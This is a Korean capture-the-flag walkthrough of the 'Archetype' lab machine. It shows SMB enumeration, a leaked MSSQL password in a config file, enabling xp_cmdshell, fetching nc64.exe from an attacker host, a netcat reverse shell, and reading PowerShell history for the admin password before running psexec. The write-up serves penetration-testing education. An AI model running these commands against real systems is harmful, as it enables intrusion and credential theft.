

정상적으로 이번 Target Machine이 구동되고 연결된다는 것을 확인했다.
nmap -sC -sV {TARGET_IP}

1433 TCP 포트에서 MSSQL이 호스팅 되고 있음을 확인할 수 있다.
smbclient -N -L \\\\{TARGET_IP}\\
-N : No password
-L : This option allows you to look at what services are available on a server

정답은 backups다
smbclient -N \\\\{TARGET_IP}\\backups

위의 그림처럼 backups에 접근한다.
이후 get 명령어를 이용해 prod.dtsConfig를 다운받았다. 내용은 다음과 같다.
get prod.dtsConfig
<DTSConfiguration>
<DTSConfigurationHeading>
<DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
</DTSConfigurationHeading>
<Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
<ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
</Configuration>
</DTSConfiguration>
이 내용으로 보아하니 ID는 sql_svc, 패스워드는 M3g4c0rp123 이다.
파이썬에는 Impacket 이라는 콜렉션이 있다. https://github.com/SecureAuthCorp/impacket
여기에 있는 mssqlclient.py를 통해 MSSQL 서버와 연결과 인증을 수행할 수 있다. 사전 설치 방법은 다음과 같다.
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip3 install .
# OR:
sudo python3 setup.py install
# In case you are missing some modules:
pip3 install -r requirements.txt
도움말을 살펴보자
cd impacket/examples/
python3 mssqlclient.py -h
아래 명령어를 통해 연결을 할 수 있다.
python3 mssqlclient.py ARCHETYPE/sql_svc@{TARGET_IP} -windows-auth
접속이 이뤄졌다면, help를 통해 우리가 뭘 할 수 있는지를 알아야 한다. 그리고 공격을 수행하기 위해 이를 분석해야한다. 아래 사이트는 mssql cheat sheet다
https://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet
위의 사이트를 참고해서, 우리는 현재 접속한 서버에서 어떤 역할(role)인지를 살펴봐야한다.
SELECT is_srvrolemember('sysadmin');
결과값은 1이고 이는 True라는 뜻이다.
그리고 같은 사이트에서 xp_cmdshell을 통해 명령어 실행 설정방법을 찾을 수 있다. 먼저, xp_cmdshell이 이미 구동중인지 다음 명령어를 통해 살펴보자
SQL> EXEC xp_cmdshell 'net user';
아마 서버 설정에 의해 xp_cmdshell 실행이 막혀있을 것이다. 다음 명령어를 통해 설정을 좀 만져주자.
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
sp_configure; - Enabling the sp_configure as stated in the above error message
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
이제 시스템 명령어를 실행할 수 있다.
SQL> xp_cmdshell "whoami"
아마 우리의 계정 sql_svc가 나올 것이다. 이제 리버스 쉘을 따볼 것이다. MSSQL 서버에 nc64.exe 바이너리를 업로드 하고, 실행함으로써, 우리의 리스닝 포트를 통해 해당 머신의 cmd.exe와 상호작용 할 수 있다.
먼저 HTTP 서버를 열어주자.
sudo python3 -m http.server 80
그리고 다른 터미널을 열어서 리스닝 포트를 열어주자.
sudo nc -lvnp 443
바이너리 파일을 서버에 업로드하기위해, 업로드 할 수 있는 서버 내 폴더 경로를 탐색해야한다. 왜냐하면 권한이 문제될 수 있기 때문이다. 일반 명령 프롬프트보다는 powershell 기능이 다양하므로 powershell -c command 문법을 사용할 것이다.(-c는 powershell로 하여금 명령어를 실행하게 한다.)
먼저 현재 작업중인 경로를 파악하자.
xp_cmdshell "powershell -c pwd"
아마 system32로 경로가 잡혀있을텐데 sql_svc 계정은 관리자 권한이 없으므로 해당 경로에는 업로드 할 권한이 없다. 따라서 해당 사용자의 Downloads 디렉토리에 다운로드를 수행해주자.
SQL> xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget
http://10.10.14.9/nc64.exe -outfile nc64.exe"
업로드가 성공하면 HTTP 서버를 구동중인 터미널에서 200 코드를 확인할 수 있다.
이제 리스닝 포트와 cmd.exe를 결합하자.
SQL> xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe
10.10.14.9 443"
위의 명령어는 방금 우리가 업로드를 수행한 경로로 이동한 뒤 nc64.exe를 실행한다. 그리고 cmd.exe를 원격으로 원하는 IP의 포트에서 실행하도록 한다.
사용자의 Desktop에서 user flag를 확인할 수 있다.
권한 상승을 위해, winPEAS를 사용할 것이다. winPEAS는 enumerate 단계의 상당히 많은 부분을 자동화해준다. 다운로드는 여기서 할 수 있다.
위에서 했던 방식과 같은 방식(HTTP)으로 winPEAS 파일을 서버에 다운로드 해주자.
이제 리스닝 포트를 통해 해당 파일을 실행해주면 어어어어엄청 긴 결과가 나오는데 중요한 부분은 SeImpersonatePrivilege다.
가장이란 자격 증명을 사용하여 클라이언트 또는 일부 다른 사용자의 보안 자격 증명을 사용하여 서버 프로세스를 실행할 수 있도록 하는 메커니즘이다.(출처)
"Impersonate a Client After Authentication"은 Windows 2000의 보안 설정으로 Windows 2000 SP4에서 처음 소개되었다. 이 기능을 사용자 권한에 할당 할 경우, 사용자를 대신하여 실행되는 프로그램이 클라이언트 가장(Impersonate)을 할 수 있게 해준다.
이 설정을 통해 미인증(unauthorized)된 서버에 RPC 혹은 named pipes와 같은 방법을 통해 연결을 하는 클라이언트 가장을 방지(prevent) 해준다.(출처)
비교적 쉽게 풀어쓴 글은 여기에 있다.
위의 SeImpersonatePrivilege는 Juicy potato exploit이라는 취약점을 가지고 있으나. 여기서는 크레덴셜을 포함 할 수 있는 파일들을 먼저 확인할 것이다.
현재 계정은 평범한 사용자 계정이므로, 자주 접근하는 파일 혹은 자주 실행되는 명령어를 확인하는 것이 유용하다. 그러기 위해 우리는 PowerShell history 파일을 읽어볼 것이다.(리눅스에서는 .bash_history 파일이다.) ConsoleHost_history.txt 파일은
C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ 경로 내에 있다.
해당 파일을 읽어보면 Administrator의 패스워드를 알 수 있다.
이제 Impacket의 psexec.py라는 툴을 사용하여 관리자 권한으로 쉘을 딸 것이다.
python3 psexec.py administrator@{TARGET_IP}
Desktop에서 관리자 플래그를 찾을 수 있다.
kali에서 impacket을 사용하는데 도움되는 사이트를 아래에 남겨놓는다.
https://www.kali.org/tools/impacket-scripts/#impacket-psexec